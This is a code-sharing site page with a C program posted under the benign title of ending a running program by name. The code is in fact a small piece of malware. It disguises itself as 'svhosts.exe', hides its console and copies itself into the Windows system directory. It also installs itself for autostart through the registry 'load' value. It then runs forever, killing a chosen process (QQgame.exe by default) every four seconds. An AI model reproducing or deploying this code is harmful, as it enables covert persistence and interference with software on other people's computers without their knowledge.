代码语言
.
CSharp
.
JS
Java
Asp.Net
C
MSSQL
PHP
Css
PLSQL
Python
Shell
EBS
ASP
Perl
ObjC
VB.Net
VBS
MYSQL
GO
Delphi
AS
DB2
Domino
Rails
ActionScript
Scala
代码分类
文件
系统
字符串
数据库
网络相关
图形/GUI
多媒体
算法
游戏
Jquery
Extjs
Android
HTML5
菜单
网页交互
WinForm
控件
企业应用
安全与加密
脚本/批处理
开放平台
其它
【
C
】
结束正在运行的指定名称的程序
作者:
sapperjiang
/ 发布于
2013/8/5
/
788
// svhosts.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" #include "tlhelp32.h" #include "stdio.h" #include "winbase.h" #include "winreg.h" //#define DEBUG 1 //#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) DWORD GetPidByName(CHAR *ProcessName)//CHAR * ProName) { HANDLE hPSnap=NULL; PROCESSENTRY32 pe32 ={0}; pe32.dwSize = sizeof(PROCESSENTRY32); hPSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hPSnap == INVALID_HANDLE_VALUE) { return -1; } //printf("\nProcessName ProcessID"); if(Process32First(hPSnap,&pe32)) { do { // if(0 == wcscmp(pe32.szExeFile,ProcessName))//find exact filename if(0 == stricmp(pe32.szExeFile,ProcessName))//if p1 contains P2 { CloseHandle(hPSnap); return pe32.th32ProcessID; } }while(Process32Next(hPSnap,&pe32)); } CloseHandle(hPSnap); return -1; } BOOL KillProcess(DWORD ProPid) { HANDLE hd= NULL; hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProPid); if (hd == INVALID_HANDLE_VALUE) { return false; } BOOL b=TerminateProcess(hd,0); CloseHandle(hd); return b; } BOOL CreateRegString(HKEY hRoot,CHAR *szSubKey,CHAR *valueName,CHAR *Data) { BOOL flag = TRUE; HKEY hKey ; LONG iRet = RegCreateKeyEx(hRoot,szSubKey,0,NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL, &hKey,//get hroot HKEY HANDLE and stores it in hKey NULL); if (iRet != ERROR_SUCCESS) { #if DEBUG printf("errorr %ls", szSubKey); getchar(); #endif flag = FALSE; } iRet =RegSetValueEx(hKey,valueName,0, REG_SZ,(BYTE*)Data, MAX_PATH); if(iRet != ERROR_SUCCESS) { #if DEBUG printf("error reset!%ls",valueName); getchar(); #endif flag = FALSE; } RegCloseKey(hKey);//close HKEY HANDLE return flag;//if no error occured, flag should be its original value true. } int CopySelfToSysPath(CHAR *ProgramName) { CHAR selfFile[MAX_PATH]; CHAR sysPath[512]; HANDLE fh = NULL; GetSystemDirectory(sysPath,sizeof(sysPath));//system path! GetModuleFileName(NULL,selfFile,MAX_PATH);//self path strcat(sysPath,ProgramName); //copyfilew: the second parameter is full file name (including file name) if(! CopyFile(selfFile,sysPath,FALSE) ) { //printf("Copy File Fail!"); //getchar(); return 0; } return 1; } BOOL SetAutoBoot( CHAR *ProgramName) { CHAR sysPath[512]; BOOL flag = FALSE; GetSystemDirectory(sysPath,sizeof(sysPath));//system path! strcat(sysPath,ProgramName); flag = CreateRegString(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", "load",//convert ot CHAR format; sysPath); return flag; } BOOL RetrieveRegValue(CHAR *PName) { HKEY hkey ; DWORD type(0); DWORD len(MAX_PATH); if ( ERROR_SUCCESS ==RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_ALL_ACCESS, &hkey)) { if ( ERROR_SUCCESS ==RegQueryValueEx(hkey, "Pro", 0, &type,(BYTE*)PName, &len)) RegCloseKey(hkey); return true; } return FALSE; } int main(int argc, char* argv[]) { CHAR pName[256]="QQgame.exe"; FreeConsole(); if(argv[1]!=NULL) { CreateRegString(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", "PRO",//convert ot CHAR format; argv[1]); } if( RetrieveRegValue(pName) != TRUE ) { strcpy(pName,"QQgame.exe"); } if( CopySelfToSysPath("\\svhosts.exe") >0 ) {;} if (TRUE != SetAutoBoot("\\svhosts.exe")) {;} DWORD pid; while(true) { if (TRUE != SetAutoBoot("\\svhosts.exe")) {;} pid = GetPidByName(pName); if(pid !=-1) { KillProcess(pid); } Sleep(4000); } return 0; }
试试其它关键字
结束程序
同语言下
.
获取手机通讯录 iOS去除数字以外的所有字符
.
异步加载音乐等资源
.
交通罚单管理系统
.
freemark实现,简单的替换
.
计算斐波那契数列
.
base64解码 包括解码长度
.
图像显示
.
冒泡排序
.
输入十进制数,输出指定进制
.
链式栈
可能有用的
.
C#实现的html内容截取
.
List 切割成几份 工具类
.
SQL查询 多列合并成一行用逗号隔开
.
一行一行读取txt的内容
.
C#动态修改文件夹名称(FSO实现,不移动文件)
.
c# 移动文件或文件夹
.
c#图片添加水印
.
Java PDF转换成图片并输出给前台展示
.
网站后台修改图片尺寸代码
.
处理大图片在缩略图时的展示
sapperjiang
贡献的其它代码
(
1
)
.
结束正在运行的指定名称的程序
Copyright © 2004 - 2024 dezai.cn. All Rights Reserved
站长博客
粤ICP备13059550号-3